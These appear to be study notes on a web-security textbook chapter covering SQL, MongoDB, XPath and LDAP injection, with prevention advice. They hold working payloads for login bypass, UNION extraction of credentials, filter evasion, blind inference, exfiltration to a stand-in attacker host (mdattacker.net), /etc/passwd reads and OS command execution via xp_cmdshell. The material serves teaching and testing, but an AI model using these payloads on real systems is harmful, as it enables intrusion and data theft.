Attacking Data Stores

  • Data stores are vital to applications today. More often than not web application logic is driven by data stores.
  • Common examples:
    • SQL databases
    • XML-based repositories
    • LDAP directories

Injecting Into Intercepted Contexts

  • Interpreted languages are languages with a run-time component interpreting the code and executing instructions.
  • Most languages are either interpreted or compiled.
  • SQL, LDAP, Perl, and PHP use interpreters.
  • Code injection arises in this family of languages.
    • Most applications retrieve, manipulate, and act upon user-supplied data.
    • As such, code processed by the interpreter is a mixture of instructions and user input.

Bypassing a Login

  • If functionality is based upon the results of a query, then modifying such a query changes the application's logic.
  • Example:

    • SELECT * FROM users WHERE username = 'andrew' and password = 'password1'
    • Putting in admin'--will comment out the rest of the query and force a login as admin
    • SELECT * FROM users WHERE username = 'admin'--' and password = 'password1'
    • Password check is bypassed and this new query will effectively ignore everything after 'admin'
  • One can also just use ' OR 1=1-- which returns information on all application users.

  • Process:

    • Input unexpected syntax
    • Identify differences in application responses
    • Examine error messages
    • Attempt to identify a vulnerability based on iterated potential exploit
    • Exploit the vulnerability to achieve a certain goal.

Injecting into SQL

  • Almost all web applications use a database in some way. For example, a basic application may store user credentials, pricing information, role permissions, and object descriptions in various databases.
  • Structured Query Language (SQL) is a language used to read, update, delete, or add this kind of database information.
    • It is also interpreted and often called in web applications using a server-side language, passing data to it.
      • If unsafely implemented, SQLi vulnerabilities can exist in a web app.
      • Some applications use APIs that are safely implemented to circumvent SQLi vulnerabilities.

Exploiting a Basic Vulnerability

  • Syntactic differences may occur when querying the three most common databases: MS-SQL, Oracle, MySQL.
  • When querying a database, comparisons between column values and strings are often used in the fetching of information.
    • If a user-input includes an apostrophe, a string can be exited out and the following components of the string are parsed as if it were SQL keywords.
      • If this is not handled properly, the application has a clear SQLi vulnerability.
      • e.g.Wiley’ OR 1=1-- would be an input string that returns all information in the selected databases.
        • The apostrophe,', exits out of the string, the OR statement adds the OR conditional expression in checks, the 1=1 returns true no matter what, and the -- comments out all code inputted afterwards.

Injecting into Different Statement Types

  • SQL uses a few keywords utilized as verbs, or actions, that are at the beginning of SQL expressions.
SELECT Statements
  • Used for retrieval of information.
  • Common in retrieving information from a database for login attempts or viewing a user's information.
  • Attacks usually occur after the WHERE clause, which selects information from a database based on certain conditions.
  • Vulnerabilities may also persist at the SELECT component or the ORDER BY clause.
INSERT Statements
  • Used to create a new row in a table.
  • Book Example:
    • INSERT INTO users (username, password, ID, privs) VALUES (‘daf’, ‘secret’, 2248, 1)
      • Exploit attempt: foo’, ‘bar’, 9999, 0)--
  • Once can iterate through one of these vulnerable applications, if the number of values is unknown. For instance, start with the username and password values, then keep adding a basic string in the tuple of the exploit string.
UPDATE Statement
  • Used in the modification of one or more rows in a table.
  • UPDATE works very similarly to INSERT.
  • When probing for these vulnerabilities, it is exceedingly dangerous as there is no way of knowing what information may end up modified.
  • Book Example:
    • UPDATE users SET password=’newsecret’ WHERE user = ‘marcus’ and password = ‘secret’
      • Exploit attempt: admin’--
DELETE Statements
  • Used to delete one or more rows in a table
  • Vulnerable to the same exploits as SELECT and INSERT statements; WHERE is a common conditional across them all.

Finding SQL Injection Bugs

  • Can be found by inputting a single, unexpected string. In other cases, may be extremely subtle and difficult to find.
Injecting into String Data
  • User input is encapsulated by single quotation marks, '<INPUT>'.
  • Process:
    1. Submit a single quotation mark. Does an error occur?
    2. If an error occurs, submit two single quotation marks. Does an error occur?
    3. If either creates an error, try using contatenation characters.
      • Oracle: ‘||’FOO
      • MySQL: ‘ ‘FOO
      • MS-SQL: ‘+’FOO
  • One can also submit a % for a parameter, as it is a wildcard character.
Injecting into Numeric Data
  • Can be processed just like String data if encapsulated by single quotation marks.
    • So, run through the same tests as before.
  • Process:
    1. Try simple mathematical expressions.
    2. Attempt more complicated expressions, like 67-ASCII(‘A’)
      1. Won't work if single quotes are filtered
      2. If it doesn't work, it's processed just like a string.
  • Considerations:
    • Applications may have to process characters used in HTTP requests differently.
      • & and = are both used in name-value pairs of URL parameters.
        • Encode as %26 and %3d
      • Spaces cannot be used, so use a + or %20
      • If you want an actual + in a string, encode as %2b. So, 1+1 --> 1%2b1
      • Semicolons are used to separate cookie fields, so encode as %3b
Injecting into the Query Structure
  • If user data is inputted right into the SQL query, exploiting this vulnerability simply involves using correct SQL syntax.
  • Process:
    • Note any parameters used to control order or field types
    • Make multiple requests using numeric values
      • If order changes, then an ORDER BY clause is being utilized.
      • ORDER BY 1 means order by the first column, and so on.

Fingerprinting the Database

  • As vulnerabilities are discovered on an application, the exploits will greatly differ based upon the type of database.
    • Book Examples:
      • String construction: (but causes errors on other databases)
        • Oracle: ‘serv’||’ices’
        • MS-SQL: ‘serv’+’ices’
        • MySQL: ‘serv’ ‘ices’
      • Evaluating to Zero: (but causes errors on other databases)
        • Oracle: BITAND(1,1)-BITAND(1,1)
        • MS-SQL: @@PACK_RECEIVED-@@PACK_RECEIVED
        • MySQL: CONNECTION_ID()-CONNECTION_ID()
    • With MySQL, injected code can be executed conditionally by using specially constructed in-line comments
      • Book Example: /*!32302 and 1=0*/
      • With this special comment, a SELECT statement is false if the MySQL version is >=3.23.02 when injected. Otherwise, if its version is <3.23.02, that portion is ignored.

The UNION Operator

  • UNION is utilized to combine results of two or more SELECT statements into a single result set.
  • Can often employ a UNION operator in a vulnerable SELECT statement query, combining the two result sets.
  • Book Example:
    • Exploit string: Wiley’ UNION SELECT username,password,uid FROM users--
  • Remarks:
    • When two result sets are combined using UNION, they must have the same structure. So, same number of columns, with same or compatible data types in the same order.
      • Otherwise, errors requiring the same datatype as a corresponding expression may be generated.
      • Datatypes must be the same or explicitly convertible, so one can use SELECT NULL for a given field.
    • The attacker needs to know the name of the target database table and the names of relevant columns.
  • Any errors caused by improper UNION operator use may be hidden from users and attackers.

    • Still, if additional results are added, then an injected query was executed.
  • Process:

    • Discover the number of columns so...
      • Exploit the use of NULLas a universally convertible data type. Add NULLas needed.
        • `UNION SELECT NULL-- `
        • `UNION SELECT NULL, NULL-- `
        • `UNION SELECT NULL, NULL, NULL-- `
      • Once the number of columns is found out, next try to extract arbitrary data by replacing a random NULL with an 'a'.
      • If its an oracle database, FROMmust be used. So, use the globally accessible table DUALin the following way:
        • UNION SELECT NULL FROM DUAL--
      • Extract database specific information, such as the @@version (MS-SQL or MySQL) or the banner(Oracle). Just replace a random NULLwith these, and it will be returned. Book examples are as follows:
        • MS-SQL/MySQL: UNION SELECT @@version, NULL, NULL--
        • Oracle: UNION SELECT banner, NULL, NULL FROM v$version--
      • More often than not, database data is more interesting than just the versions, themselves.

Extracting Useful Data

  • Usually need to know names of tables and columns.
  • Main enterprise DBMSs have a large amount of metadata that can be queried for discovering names of tables and columns.

Extracting Data with UNION

  • Working example:
    • Parameter of Name=Matthew
    • This returns a basic username and e-mail.
    • To find out the required number of columns...
      • Name=Matthew'%20union%20select%20null--
        • Error message, try another null. So, keep trying nulls
      • Name=Matthew'%20union%20select%20null,null,null,null--
    • Okay, it has four columns. Now, verify that columns are certain data types.
      • e.g. Name=Matthew'%20union%20select%20'a',null,null,null--
    • Now try getting interesting information. For instance:
      • Name=Matthew'%20union%20select%20table_name,column_name,null,null,null%20from%20information_schema.columns--
        • This would now return, in a first row, the users information. Then, the following rows consist of a table and each of their column names.
        • information_schema is supported by MS-SQL, MySQL, SQLite, Postgresql, and many other databases.
          • It holds database metadata.
          • With Oracle Databases, use an identical input by substitute information_schema for all_tab_columns
    • Applying this similarly for users information and their passwords:
      • Name=Matthew'%20union%20select%20username,password,null,null,null%20from%users--
  • Author note:
    • You can concatenate multiple columns into a single column. The following are book examples:
      • Oracle: `SELECT table_name||’:’||column_name FROM `` all_tab_columns```
      • MS-SQL: `SELECT tablename+’:’+column_name from information schema.columns `
      • MySQL:`SELECT CONCAT(table_name,’:’,column_name) from `` information_schema.columns```

Bypassing Filters

Avoiding Blocked Characters
  • Single quotation marks aren't necessary when injecting into a column name or numeric data field.
  • Strings can be created through the concatenation of ASCII individual characters.
  • The following are identical queries in MS-SQL and Oracle:
    • `select ename, `` sal from emp where ename=’marcus’:```
    • `SELECT ename, sal FROM emp where ename=CHR(109)||CHR(97)|| CHR(114)||CHR(99)||CHR(117)||CHR(115)
    • `SELECT ename, sal FROM emp WHERE ename=CHAR(109)+CHAR(97) ``+CHAR(114)+CHAR(99)+CHAR(117)+CHAR(115)```
  • If comment is blocked, a string can be entered that does not break syntax.
    • instead of ' or 1=1--
    • one can input ' or 'a'='a
Circumventing Simple Validation
  • Some input validation techniques just use a blacklist. So, if SELECT is blocked, just encode it in different ways:
    • SeLeCt if it literally checks for SELECT
    • %00SELECT if it only checks up to null termination
    • SELSELECTECTif it removes SELECT
    • %53%45%4c%45%43%54 if it must be encoded
    • %2553%2545%254c%2545%2543%2554 if those encoded characters are blocked when together
Using SQL Comments
  • If spaces are stripped, comments can be used to simulate whitespace.
    • e.g. SELECT/*space*/username,password/*space*/FROM/*space*/users
  • In MySQL, comments can be entered inside keywords, allowing for another bypass of validation filters.
Exploiting Defective Filters
  • Attacks of this kind are described in detail in Chapter 11.

Second-Order SQL Injection

  • Second-order SQLi is an attack that exploits how data is processed AFTER stored in a database.
  • If data passes through several SQL queries, a later SQL query using the input may have untoward effects.
  • So, a registration process may safely handle user input, but when it is later used in a password change process, a user may be able to update an admin password.
    • ‘ or 1 in (select password from users where username=’admin’)--

Advanced Exploitation

  • Can do more than information exploitation. For instance, using a shutdowncommand can be used in a denial of service attack. One may also simple drop individual tales, such as using the following string: ' drop table users--
Retrieving Data as Numbers
  • Its common for no string fields to be vulnerable to SQLi, as single quotation marks are handled properly.
  • Still, vulnerabilities may persist in numeric data queries.
  • For instance, with numeric data, one can simply retrieve characters of a password in an encoded format.
    • example:
      • SUBSTRING('Admin',1,1) would return A
      • ASCII('A') returns 65
      • So, ASCII(SUBSTRING('Admin',1,1)) returns 65.
Using an Out-of-Band Channel
  • May not be able to retrieve data through conventional means. For instance, an application may not output error or SQL query responses. So, other interesting channels must be utilized to obtain the same information.

  • MS-SQL

    • With MS-SQL 2000 and older:
      • OpenRowSet opens a connection to an external database and inserts data.
      • Usage: insert into openrowset(‘SQLOLEDB’,‘DRIVER={SQL Server};SERVER=mdattacker.net,80;UID=sa;PWD=letmein’, ‘select * from foo’) values (@@version)
  • Oracle

    • UTL_HTTPpackage allows for HTTP requests to other hosts.
      • Supports proxy servers, cookies, redirects, and authentication.
      • Usage: `/employees.asp?EmpNo=7521’||UTL_HTTP.request(‘mdattacker.net:80/’|| ````` (SELECT%20username%20FROM%20all_users%20WHERE%20ROWNUM%3d1))--
      • By setting a Netcat listener at that address and port, one can obtain the response.
    • UTL_INADDRcan be used to send requests as DNS queries, bypassing firewalls easily.
      • Usage: `/employees.asp?EmpNo=7521’||UTL_INADDR.GET_HOST_NAME((SELECT%20PASSWORD% 20FROM%20DBA_USERS%20WHERE%20NAME=’SYS’)||’.mdattacker.net’)`
    • UTL_SMTPcan be used to send emails.
    • UTL_TCPcan be used to open TCP sockets and send/retrieve data.
  • MySQL

    • SELECT ... INTO OUTFILE can be used to send output into a file.
    • To get a sent file, an SMB share needs to be setup allowing anonymous write access.
    • Usage:
      • select * into outfile ‘\\\\mdattacker.net\\share\\output.txt’ from users;
  • Leveraging the Operating System

    • Can use the database to execute commands on the operating system of the database server.
    • So, an attacker can use built in FTP, Telnet, or SMTP functionalities.
Using Interference: Conditional Responses
  • Often, databases cannot send information out. This is because they are on a private or protected network that cannot establish an outbound connection.
  • In this case, an attacker is basically blind. So, they would really only have basic query responses and differences in results.

  • Inducing Conditional Errors

    • David Litchfield technique for triggering a detectable difference in behavior:
      • Inject query inducing a database error based on specific condition.
      • When errors occur, it is often externally detectable through an HTTP 500 response code or error message.
    • SELECT X FROM Y WHERE C
      • Works through each database Y, evaluate condition C, and return X in cases where it is true.
      • X is evaluated only whenever C is true. So, one can depend upon the presence of an error for checking if C is true or not.
        • `SELECT 1/0 FROM dual WHERE (SELECT username FROM all_users WHERE username = ‘DBSNMP’) = ‘DBSNMP’`
          • If the user exists an error occurs.
      • Can be used as a combined query or in a single query if possible.
  • Using Time Delays

    • In some cases, none of these techniques are possible.
    • Technique by Chris Anley and Sherief Hammmad of NGSSoftware:
      • Craft a query that causes a time delay based on some condition specified by the attack.
      • Submit query, monitor time, and if delay occurs then the condition can be assumed to be true.
      • Usage (MS-SQL): if (select user) = 'sa' waitfor delay '0:0:5'
      • Usage (MySQL): select if(user() like 'root@%', benchmark(50000, sha1('test')), 'false')
      • Usage (PostgreSQL): use PG_SLEEP
      • Usage (Oracle): no built in sleep function, but one can use UTL_HTTPconnecting to a nonexistent server, and cause a timeout. This is very similar to a time delay function, in an unconventional manner.
    • Use SUBSTR(ING) and ASCIIto get information one byte at a time (like described before). Use these for conditionals.

Beyond SQL Injection: Escalating the Database Attack

  • Most applications use one account for all database access
  • Why further attacks may be useful:
    • Escalation of privileges in connected apps
    • Compromise OS on database server
    • Network access to other systems
    • Making outgoing connections, transmitting large amounts of data.
    • Disabling, removing, or modifying current controls.
MS-SQL
  • xp_cmdshell

    • A stored procedure built into MS-SQL. Allows for a user with DBA permissions to execute OS commands like cmd.exe.
    • e.g. master..xp_cmdshell 'ipconfig > info.txt'
    • MS-SQL typically runs by default as LocalSystem, and has stored procedures like xp_regread and xp_regwrite.
  • Dealing with Default Lockdown

    • Most MS-SQL versions are 2005 or newer. So, there are security features that lock down a database by default.
    • Its possible to overcome lockdowns if the user account has high permissions. For instance, sp_configurecan be used to re-enable disabled procedures.
      • e.g.
        • `EXECUTE sp_configure ‘show advanced options’, 1 ` `RECONFIGURE WITH OVERRIDE ` `EXECUTE sp_configure ‘xp_cmdshell’, ‘1’ ` RECONFIGURE WITH OVERRIDE
Oracle
  • MANY vulnerabilities have been found in Oracle database software.
  • It contains a large amount of functionality too.
  • For instance, Oracle can inherently run JAVA and thus can run operating system commands like the following example:
    • DBMS_JAVA.RUNJAVA(‘oracle/aurora/util/Wrapper c:\windows\system32\cmd.exe /c dir>c:\OUT.LST’)
MySQL
  • Has relatively little functionality compared to the others.
  • It can read and write to important OS files using the LOAD_FILEcommand
    • Only possible if the user has FILE_PRIVpermission for reading and writing to the filesystem.
      • e.g. SELECT load_file('/etc/passwd')
  • SELECT ... INTO OUTFILE command
    • Can be used to retrieve database information and then output to a given file.

Using SQL Exploitation Tools

  • Methods:
    • Brute-force all parameters to locate SQLi vulnerabilities.
    • Append various characters to to queries to find vulnerable fields.
    • Perform attempts of UNION attacks by brute-forcing the number of required columns then finding a column with varchar data type for result returns.
    • Inject custom queries to get data.
    • Inject boolean conditions to determine conditional responses.
    • If one cannot get results, one can use conditional time delays
  • Author favorite: using sqlmap which can attack MySQL, Oracle, and Ms-SQL.
    • Uses UNION-based and inference-based retrieval.
    • Supports retrieval of files, and command execution under windows using xp_cmdshell.

SQL Syntax and Error Reference

SQL Syntax (For more, reference pages 332-338)
  • Oracle
    • ASCII('A')is 65
    • SUBSTR('ABCDE',2,3)is BCD
    • Select Sys.login_user from dual SELECT user FROM dual SYS_CONTEXT('USERENV','SESSION_USER')
      • For current db user
    • Utl_Http.request('http://nonexistent-server.com')
      • For time delay
    • select banner from v$version
      • Retrieve database version info
    • SELECT SYS_CONTEXT('USERENV', 'DB_NAME') FROM dual
      • Retrieve current database
  • Ms-SQL
    • ASCII('A') is 65
    • SUBSTRING('ABCDE',2,3) is BCD
    • select suser_sname()
      • For current db user
    • waitfor delay '0:0:10'
      • For time delay
    • select @@version
      • For database version
    • SELECT db_name()
      • For database name
    • SELECT @@servername
      • For servername
    • `SELECT grantee, table_name, privilege_type FROM INFORMATION_SCHEMA.TABLE_PRIVILEGES`
      • For user privileges
  • MySQL
    • `ASCII('A')` is 65
    • SUBSTRING('ABCDE',2,3) is BCD
    • SELECT user()
      • For current db user
    • sleep(100)
      • For time delay
SQL Error Messages

Preventing SQL Injection

Partially Effective Measures
  • Numeric data can often be broken out of as it is not encapsulated by quotation marks.
  • Second-order SQLi can easily occur if data is referenced at multiple points.
Parameterized Queries
  • Also called prepared statements
  • The construction of an SQL statement is performed in two steps:
    • App specified query structure with placeholders for user input items
    • App defines contents of each placeholder.
  • Many languages have a prepareStatement method, used to interpret and fix the structure of a query to be executed. Then, a setString method is used to define a parameter value. In this way, a value can contain any data without affecting the structure.
    • Use for all database queries
    • All data inserted into a query should be properly parameterized
    • Parameter placeholders cannot be used for specifying table and column names in a query
    • Placeholders cannot be used for other parts of the query like keywords.
Defense in Depth
  • Use lowest possible level of privileges
  • Unnecessary functions should be removed or disabled.
  • All vender-issued security patches should be tested and applied ASAP.

Injecting into NoSQL

  • NoSQL refers to a standard relational database architecture.
  • Data stores represent data in key/value mappings; don't rely on a fixed schema.
  • Useful for handling alrge data sets.
  • Common query methods:
    • Key/value lookup
    • XPath
    • Programming languages lie JavaScript

Injecting into MongoDB

  • An attacker can bypass authentication logic by supplying a username such as:
    • Marcus'//
      • Comments out the following code as it is JavaScript
    • Alternatives:
      • a'
      • 1==1
      • 'a'=='a
    • Or all together:
      • a' || 1==1 || 'a'=='a

Injecting into XPath

  • XML Path Language (XPath) is an interpreted language for navigating XML documents and retrieving data.
  • Example queries
    • Get all email addressed: //address/email/text()
    • Get all details for a user 'Dawes': //address[surname/text()=’Dawes’]

Subverting Application Logic

  • Some functions may verify credentials and retrieve card information.
    • `//address[surname/text()=’Dawes’ and password/text()=’secret’]/ccard/ ` text()
  • One can subvert this logic and retrieve all data by entering ' or'a'='ato form the following query:
    • `//address[surname/text()=’Dawes’ and password/text()=’’ or ‘a’=’a’]/ ccard/text()`

Informed XPath Injection

  • Just like SQL queries, differences in conditionals can be used to test and extract database information.
    • Using' or 1=1 vs ' or 1=2
    • In this manner, information can be extracted one byte at a time.

Blind XPath Injection

  • One doesn't need to know the entire absolute path and targeted fields.
  • Instead, one can simply just traverse an XML document using children and parents.
  • Using the previously explained method for extracting names or values, one can extract parent and children names one byte at a time.
    • Once an address node is known, one can iterate through child nodes and get their names and values.
  • Useful for automation:
    • count() returns number of child nodes
    • position() returns the child number of that node
    • string-length() returns length of a supplied string
    • substring() can be used to iterate over a string

Finding XPath Injection Flaws

  • Many attack strings cause weird behaviors in XPath.
    • ' causes an error
    • '-- causes an error
    • ' or 'a'='a can cause weird behavior

Preventing XPath Injection

  • Limit user-supplied input to simple items of data
  • Use strict input validation
    • Check against whitelist

Injecting into LDAP

  • LDAP = Lightweight Directory Access Protocol
    • Access directory info over a network.
    • Hierarchically organized data store
  • Common example: Active Directory used in Windows; OpenLDAP in many situations.
  • Filters:
    • Simple match conditions: (username=daf)
      • Simple truth results in return
    • Disjunctive queries: (|(cn=searchterm)(sn=searchterm)(ou=searchterm))
      • Any one must be true to return
    • Conjunctive queries (&(username=daf)(password=secret)
      • All must be true to return
  • Not as easily exploitable as operators happen before the user input.
  • Applications rarely return useful error messages

Exploiting LDAP Injection

Disjunctive Queries
  • Escape out of a condition. So:
    • ) (department=*
    • Exits out of the previous condition, then may access information outside of the typical allowed accessible information. Matches all directory entries.
Conjunctive Queries
  • In this case, both conditions must be true, so one can just exit out of the previous condition in a more unique way.
    • So if an LDAP query is:
      • (&(givenName=daf)(department=London*))
        • daf is the user input
    • Just exit out of the givenName filter component and the conditional statement using *))
      • e.g. (&(givenName=*))(&(givenName=daf)(department=London*))
  • This technique is also effective aainst simple match filters.
  • Some implementations of LDAP handle null bytes as if they determine the end of the query.
    • So, instead of *))(&(givenName=daf, input *))%00 to match everything and ignore the following conditions.

Finding LDAP Injection Flaws

  • Process:
    • Try using a wildcard character in a search term
    • Try entering many closing brackets. This will close all brackets enclosing input.
    • Try using various expressions that interfere with different types of queries.

Preventing LDAP Injection

  • Only perform LDAP queries on simple items of data.
  • Subject queries to strict input validation.
  • Check all input against a whitelist.
  • Block all special characters and the null byte.

results matching ""

    No results matching ""